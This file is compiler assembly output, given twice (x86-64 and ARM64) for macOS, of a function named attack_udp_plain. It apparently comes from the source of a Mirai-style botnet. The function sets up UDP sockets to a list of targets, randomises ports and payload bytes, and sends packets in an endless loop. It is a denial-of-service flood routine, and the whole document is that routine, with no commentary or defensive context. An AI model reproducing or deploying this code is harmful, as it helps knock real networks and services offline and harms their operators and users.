	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_attack_udp_plain               ## -- Begin function attack_udp_plain
	.p2align	4, 0x90
_attack_udp_plain:                      ## @attack_udp_plain
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$120, %rsp
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	%rcx, %r14
	movl	%edx, %r15d
	movq	%rsi, -56(%rbp)                 ## 8-byte Spill
	movl	%edi, %ebx
	movl	$8, %esi
	callq	_calloc
	movq	%rax, -96(%rbp)                 ## 8-byte Spill
	movl	%ebx, -44(%rbp)                 ## 4-byte Spill
	movl	%ebx, %edi
	movl	$4, %esi
	callq	_calloc
	movq	%rax, -88(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_DPORT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, -64(%rbp)                 ## 8-byte Spill
	movq	_ATK_OPT_SPORT@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$65535, %ecx                    ## imm = 0xFFFF
	callq	_attack_get_opt_int
	movq	%rax, %rbx
	movq	_ATK_OPT_PAYLOAD_SIZE@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movl	%r15d, %edi
	movq	%r14, %rsi
	movl	$512, %ecx                      ## imm = 0x200
	callq	_attack_get_opt_int
	movq	%rax, %r13
	movq	_ATK_OPT_PAYLOAD_RAND@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %ecx
	movl	%r15d, %edi
	movq	%r14, %rsi
	callq	_attack_get_opt_int
	movq	%rax, -152(%rbp)                ## 8-byte Spill
	xorps	%xmm0, %xmm0
	movaps	%xmm0, -128(%rbp)
	movq	$0, -112(%rbp)
	cmpl	$65535, %ebx                    ## imm = 0xFFFF
	jne	LBB0_2
## %bb.1:
	xorl	%eax, %eax
	callq	_rand_next
	jmp	LBB0_3
LBB0_2:
	movl	%ebx, %edi
	callq	_htons
LBB0_3:
	movq	%rax, -80(%rbp)                 ## 8-byte Spill
	movl	-44(%rbp), %eax                 ## 4-byte Reload
	movl	%eax, %r15d
	testl	%eax, %eax
	movq	-64(%rbp), %r14                 ## 8-byte Reload
	jle	LBB0_7
## %bb.4:
	movq	-56(%rbp), %rax                 ## 8-byte Reload
	leaq	8(%rax), %rbx
	leaq	(,%r15,4), %rax
	movq	%rax, -136(%rbp)                ## 8-byte Spill
	xorl	%r12d, %r12d
	jmp	LBB0_5
	.p2align	4, 0x90
LBB0_13:                                ##   in Loop: Header=BB0_5 Depth=1
	movl	-68(%rbp), %edi                 ## 4-byte Reload
	movq	-144(%rbp), %rbx                ## 8-byte Reload
	movq	%rbx, %rsi
	movl	$24, %edx
	callq	_connect
	addq	$4, %r12
	addq	$32, %rbx
	cmpq	%r12, -136(%rbp)                ## 8-byte Folded Reload
	je	LBB0_7
LBB0_5:                                 ## =>This Inner Loop Header: Depth=1
	movl	$65535, %edi                    ## imm = 0xFFFF
	movl	$1, %esi
	callq	_calloc
	movq	-96(%rbp), %rcx                 ## 8-byte Reload
	movq	%rax, (%rcx,%r12,2)
	cmpl	$65535, %r14d                   ## imm = 0xFFFF
	movq	%rbx, -144(%rbp)                ## 8-byte Spill
	jne	LBB0_9
## %bb.6:                               ##   in Loop: Header=BB0_5 Depth=1
	xorl	%eax, %eax
	callq	_rand_next
	jmp	LBB0_10
	.p2align	4, 0x90
LBB0_9:                                 ##   in Loop: Header=BB0_5 Depth=1
	movl	%r14d, %edi
	callq	_htons
LBB0_10:                                ##   in Loop: Header=BB0_5 Depth=1
	movq	-56(%rbp), %r14                 ## 8-byte Reload
	movq	%rax, 16(%r14,%r12,8)
	movq	%r12, %rbx
	movq	_AF_INET@GOTPCREL(%rip), %r12
	movl	(%r12), %edi
	movq	_SOCK_DGRAM@GOTPCREL(%rip), %rax
	movl	(%rax), %esi
	movq	_IPPROTO_UDP@GOTPCREL(%rip), %rax
	movl	(%rax), %edx
	callq	_socket
	movl	%eax, %ecx
	movq	-88(%rbp), %rax                 ## 8-byte Reload
	movl	%ecx, (%rax,%rbx)
	cmpl	$-1, %ecx
	je	LBB0_21
## %bb.11:                              ##   in Loop: Header=BB0_5 Depth=1
	movl	(%r12), %eax
	movl	%eax, -112(%rbp)
	movq	-80(%rbp), %rax                 ## 8-byte Reload
	movl	%eax, -128(%rbp)
	movq	$0, -120(%rbp)
	movl	%ecx, -68(%rbp)                 ## 4-byte Spill
	movl	%ecx, %edi
	leaq	-128(%rbp), %rsi
	movl	$24, %edx
	callq	_bind
	cmpl	$31, (%r14,%rbx,8)
	movq	%r14, %rax
	movq	-64(%rbp), %r14                 ## 8-byte Reload
	movq	%rbx, %r12
	jg	LBB0_13
## %bb.12:                              ##   in Loop: Header=BB0_5 Depth=1
	leaq	(%r12,%r12), %r14
	movl	24(%rax,%r12,8), %edi
	callq	_ntohl
	movq	%rax, %rbx
	xorl	%eax, %eax
	callq	_rand_next
	movq	-56(%rbp), %rcx                 ## 8-byte Reload
	movzbl	(%rcx,%r14,4), %ecx
	movq	-64(%rbp), %r14                 ## 8-byte Reload
	sarl	%cl, %eax
	movslq	%eax, %rdi
	addq	%rbx, %rdi
	callq	_htonl
	movq	-56(%rbp), %rcx                 ## 8-byte Reload
	movl	%eax, 8(%rcx,%r12,8)
	jmp	LBB0_13
LBB0_7:
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
	testl	%eax, %eax
	je	LBB0_21
## %bb.8:
	movq	_MSG_NOSIGNAL@GOTPCREL(%rip), %r12
	jmp	LBB0_16
	.p2align	4, 0x90
LBB0_14:                                ##   in Loop: Header=BB0_16 Depth=1
	movq	_TRUE@GOTPCREL(%rip), %rax
	movl	(%rax), %eax
LBB0_15:                                ##   in Loop: Header=BB0_16 Depth=1
	testl	%eax, %eax
	je	LBB0_21
LBB0_16:                                ## =>This Loop Header: Depth=1
                                        ##     Child Loop BB0_18 Depth 2
	cmpl	$0, -44(%rbp)                   ## 4-byte Folded Reload
	jle	LBB0_15
## %bb.17:                              ##   in Loop: Header=BB0_16 Depth=1
	xorl	%r14d, %r14d
	jmp	LBB0_18
	.p2align	4, 0x90
LBB0_20:                                ##   in Loop: Header=BB0_18 Depth=2
	movq	-88(%rbp), %rax                 ## 8-byte Reload
	movl	(%rax,%r14,4), %edi
	movl	(%r12), %ecx
	movq	%rbx, %rsi
	movq	%r13, %rdx
	callq	_send
	incq	%r14
	cmpq	%r14, %r15
	je	LBB0_14
LBB0_18:                                ##   Parent Loop BB0_16 Depth=1
                                        ## =>  This Inner Loop Header: Depth=2
	movq	-96(%rbp), %rax                 ## 8-byte Reload
	movq	(%rax,%r14,8), %rbx
	cmpq	$0, -152(%rbp)                  ## 8-byte Folded Reload
	je	LBB0_20
## %bb.19:                              ##   in Loop: Header=BB0_18 Depth=2
	movq	%rbx, %rdi
	movq	%r13, %rsi
	callq	_rand_str
	jmp	LBB0_20
LBB0_21:
	addq	$120, %rsp
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
	.cfi_endproc
                                        ## -- End function
	.comm	_ATK_OPT_DPORT,4,2              ## @ATK_OPT_DPORT
	.comm	_ATK_OPT_SPORT,4,2              ## @ATK_OPT_SPORT
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ## @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ## @ATK_OPT_PAYLOAD_RAND
	.comm	_TRUE,4,2                       ## @TRUE
	.comm	_AF_INET,4,2                    ## @AF_INET
	.comm	_SOCK_DGRAM,4,2                 ## @SOCK_DGRAM
	.comm	_IPPROTO_UDP,4,2                ## @IPPROTO_UDP
	.comm	_MSG_NOSIGNAL,4,2               ## @MSG_NOSIGNAL
	.comm	_errno,4,2                      ## @errno
.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_attack_udp_plain               ; -- Begin function attack_udp_plain
	.p2align	2
_attack_udp_plain:                      ; @attack_udp_plain
	.cfi_startproc
; %bb.0:
	sub	sp, sp, #160
	.cfi_def_cfa_offset 160
	stp	x28, x27, [sp, #64]             ; 16-byte Folded Spill
	stp	x26, x25, [sp, #80]             ; 16-byte Folded Spill
	stp	x24, x23, [sp, #96]             ; 16-byte Folded Spill
	stp	x22, x21, [sp, #112]            ; 16-byte Folded Spill
	stp	x20, x19, [sp, #128]            ; 16-byte Folded Spill
	stp	x29, x30, [sp, #144]            ; 16-byte Folded Spill
	add	x29, sp, #144
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	mov	x23, x3
	mov	x27, x2
	mov	x24, x1
	mov	x28, x0
	mov	w1, #8
	bl	_calloc
	str	x0, [sp, #32]                   ; 8-byte Folded Spill
	mov	x0, x28
	mov	w1, #4
	bl	_calloc
	str	x0, [sp, #24]                   ; 8-byte Folded Spill
Lloh0:
	adrp	x8, _ATK_OPT_DPORT@GOTPAGE
Lloh1:
	ldr	x8, [x8, _ATK_OPT_DPORT@GOTPAGEOFF]
Lloh2:
	ldr	w2, [x8]
	mov	w19, #65535
	mov	x0, x27
	mov	x1, x23
	mov	w3, #65535
	bl	_attack_get_opt_int
	mov	x25, x0
Lloh3:
	adrp	x8, _ATK_OPT_SPORT@GOTPAGE
Lloh4:
	ldr	x8, [x8, _ATK_OPT_SPORT@GOTPAGEOFF]
Lloh5:
	ldr	w2, [x8]
	mov	x0, x27
	mov	x1, x23
	mov	w3, #65535
	bl	_attack_get_opt_int
	mov	x26, x0
Lloh6:
	adrp	x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGE
Lloh7:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_SIZE@GOTPAGEOFF]
Lloh8:
	ldr	w2, [x8]
	mov	x0, x27
	mov	x1, x23
	mov	w3, #512
	bl	_attack_get_opt_int
	mov	x22, x0
Lloh9:
	adrp	x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGE
Lloh10:
	ldr	x8, [x8, _ATK_OPT_PAYLOAD_RAND@GOTPAGEOFF]
Lloh11:
	ldr	w2, [x8]
Lloh12:
	adrp	x8, _TRUE@GOTPAGE
Lloh13:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh14:
	ldr	w3, [x8]
	mov	x0, x27
	mov	x1, x23
	bl	_attack_get_opt_int
	mov	x23, x0
	stp	xzr, xzr, [sp, #40]
	str	xzr, [sp, #56]
	cmp	w26, w19
	b.ne	LBB0_2
; %bb.1:
	bl	_rand_next
	b	LBB0_3
LBB0_2:
	mov	x0, x26
	bl	_htons
LBB0_3:
	mov	x21, x0
	mov	w8, w28
	str	x8, [sp, #16]                   ; 8-byte Folded Spill
	cmp	w28, #1
	b.lt	LBB0_12
; %bb.4:
Lloh15:
	adrp	x27, _AF_INET@GOTPAGE
Lloh16:
	ldr	x27, [x27, _AF_INET@GOTPAGEOFF]
	ldp	x20, x26, [sp, #16]             ; 16-byte Folded Reload
	ldr	x19, [sp, #32]                  ; 8-byte Folded Reload
	str	x25, [sp, #8]                   ; 8-byte Folded Spill
	b	LBB0_6
LBB0_5:                                 ;   in Loop: Header=BB0_6 Depth=1
	add	x1, x24, #8
	mov	x0, x27
	mov	w2, #24
	bl	_connect
	add	x24, x24, #32
	add	x26, x26, #4
	add	x19, x19, #8
	subs	x20, x20, #1
Lloh17:
	adrp	x27, _AF_INET@GOTPAGE
Lloh18:
	ldr	x27, [x27, _AF_INET@GOTPAGEOFF]
	b.eq	LBB0_12
LBB0_6:                                 ; =>This Inner Loop Header: Depth=1
	mov	w0, #65535
	mov	w1, #1
	bl	_calloc
	str	x0, [x19]
	mov	w8, #65535
	cmp	w25, w8
	b.ne	LBB0_8
; %bb.7:                                ;   in Loop: Header=BB0_6 Depth=1
	bl	_rand_next
	b	LBB0_9
LBB0_8:                                 ;   in Loop: Header=BB0_6 Depth=1
	mov	x0, x25
	bl	_htons
LBB0_9:                                 ;   in Loop: Header=BB0_6 Depth=1
	str	x0, [x24, #16]
	ldr	w0, [x27]
Lloh19:
	adrp	x8, _SOCK_DGRAM@GOTPAGE
Lloh20:
	ldr	x8, [x8, _SOCK_DGRAM@GOTPAGEOFF]
Lloh21:
	ldr	w1, [x8]
Lloh22:
	adrp	x8, _IPPROTO_UDP@GOTPAGE
Lloh23:
	ldr	x8, [x8, _IPPROTO_UDP@GOTPAGEOFF]
Lloh24:
	ldr	w2, [x8]
	bl	_socket
	str	w0, [x26]
	cmn	w0, #1
	b.eq	LBB0_21
; %bb.10:                               ;   in Loop: Header=BB0_6 Depth=1
	mov	x8, x27
	mov	x27, x0
	ldr	w8, [x8]
	str	w8, [sp, #56]
	str	w21, [sp, #40]
	str	xzr, [sp, #48]
	add	x1, sp, #40
	mov	w2, #24
	bl	_bind
	ldr	w8, [x24]
	cmp	w8, #31
	b.gt	LBB0_5
; %bb.11:                               ;   in Loop: Header=BB0_6 Depth=1
	ldr	w0, [x24, #24]
	bl	_ntohl
	mov	x25, x21
	mov	x21, x28
	mov	x28, x0
	bl	_rand_next
	ldr	w8, [x24]
	asr	w8, w0, w8
	add	x0, x28, w8, sxtw
	mov	x28, x21
	mov	x21, x25
	ldr	x25, [sp, #8]                   ; 8-byte Folded Reload
	bl	_htonl
	str	w0, [x24, #8]
	b	LBB0_5
LBB0_12:
Lloh25:
	adrp	x8, _TRUE@GOTPAGE
Lloh26:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh27:
	ldr	w8, [x8]
	cbz	w8, LBB0_21
; %bb.13:
Lloh28:
	adrp	x19, _MSG_NOSIGNAL@GOTPAGE
Lloh29:
	ldr	x19, [x19, _MSG_NOSIGNAL@GOTPAGEOFF]
	b	LBB0_16
LBB0_14:                                ;   in Loop: Header=BB0_16 Depth=1
Lloh30:
	adrp	x8, _TRUE@GOTPAGE
Lloh31:
	ldr	x8, [x8, _TRUE@GOTPAGEOFF]
Lloh32:
	ldr	w8, [x8]
LBB0_15:                                ;   in Loop: Header=BB0_16 Depth=1
	cbz	w8, LBB0_21
LBB0_16:                                ; =>This Loop Header: Depth=1
                                        ;     Child Loop BB0_19 Depth 2
	cmp	w28, #1
	b.lt	LBB0_15
; %bb.17:                               ;   in Loop: Header=BB0_16 Depth=1
	ldp	x20, x25, [sp, #16]             ; 16-byte Folded Reload
	ldr	x21, [sp, #32]                  ; 8-byte Folded Reload
	b	LBB0_19
LBB0_18:                                ;   in Loop: Header=BB0_19 Depth=2
	ldr	w0, [x25], #4
	ldr	w3, [x19]
	mov	x1, x24
	mov	x2, x22
	bl	_send
	add	x21, x21, #8
	subs	x20, x20, #1
	b.eq	LBB0_14
LBB0_19:                                ;   Parent Loop BB0_16 Depth=1
                                        ; =>  This Inner Loop Header: Depth=2
	ldr	x24, [x21]
	cbz	x23, LBB0_18
; %bb.20:                               ;   in Loop: Header=BB0_19 Depth=2
	mov	x0, x24
	mov	x1, x22
	bl	_rand_str
	b	LBB0_18
LBB0_21:
	ldp	x29, x30, [sp, #144]            ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #128]            ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #112]            ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #96]             ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #80]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp, #64]             ; 16-byte Folded Reload
	add	sp, sp, #160
	ret
	.loh AdrpLdrGotLdr	Lloh12, Lloh13, Lloh14
	.loh AdrpLdrGotLdr	Lloh9, Lloh10, Lloh11
	.loh AdrpLdrGotLdr	Lloh6, Lloh7, Lloh8
	.loh AdrpLdrGotLdr	Lloh3, Lloh4, Lloh5
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpLdrGot	Lloh15, Lloh16
	.loh AdrpLdrGot	Lloh17, Lloh18
	.loh AdrpLdrGotLdr	Lloh22, Lloh23, Lloh24
	.loh AdrpLdrGotLdr	Lloh19, Lloh20, Lloh21
	.loh AdrpLdrGotLdr	Lloh25, Lloh26, Lloh27
	.loh AdrpLdrGot	Lloh28, Lloh29
	.loh AdrpLdrGotLdr	Lloh30, Lloh31, Lloh32
	.cfi_endproc
                                        ; -- End function
	.comm	_ATK_OPT_DPORT,4,2              ; @ATK_OPT_DPORT
	.comm	_ATK_OPT_SPORT,4,2              ; @ATK_OPT_SPORT
	.comm	_ATK_OPT_PAYLOAD_SIZE,4,2       ; @ATK_OPT_PAYLOAD_SIZE
	.comm	_ATK_OPT_PAYLOAD_RAND,4,2       ; @ATK_OPT_PAYLOAD_RAND
	.comm	_TRUE,4,2                       ; @TRUE
	.comm	_AF_INET,4,2                    ; @AF_INET
	.comm	_SOCK_DGRAM,4,2                 ; @SOCK_DGRAM
	.comm	_IPPROTO_UDP,4,2                ; @IPPROTO_UDP
	.comm	_MSG_NOSIGNAL,4,2               ; @MSG_NOSIGNAL
	.comm	_errno,4,2                      ; @errno
.subsections_via_symbols
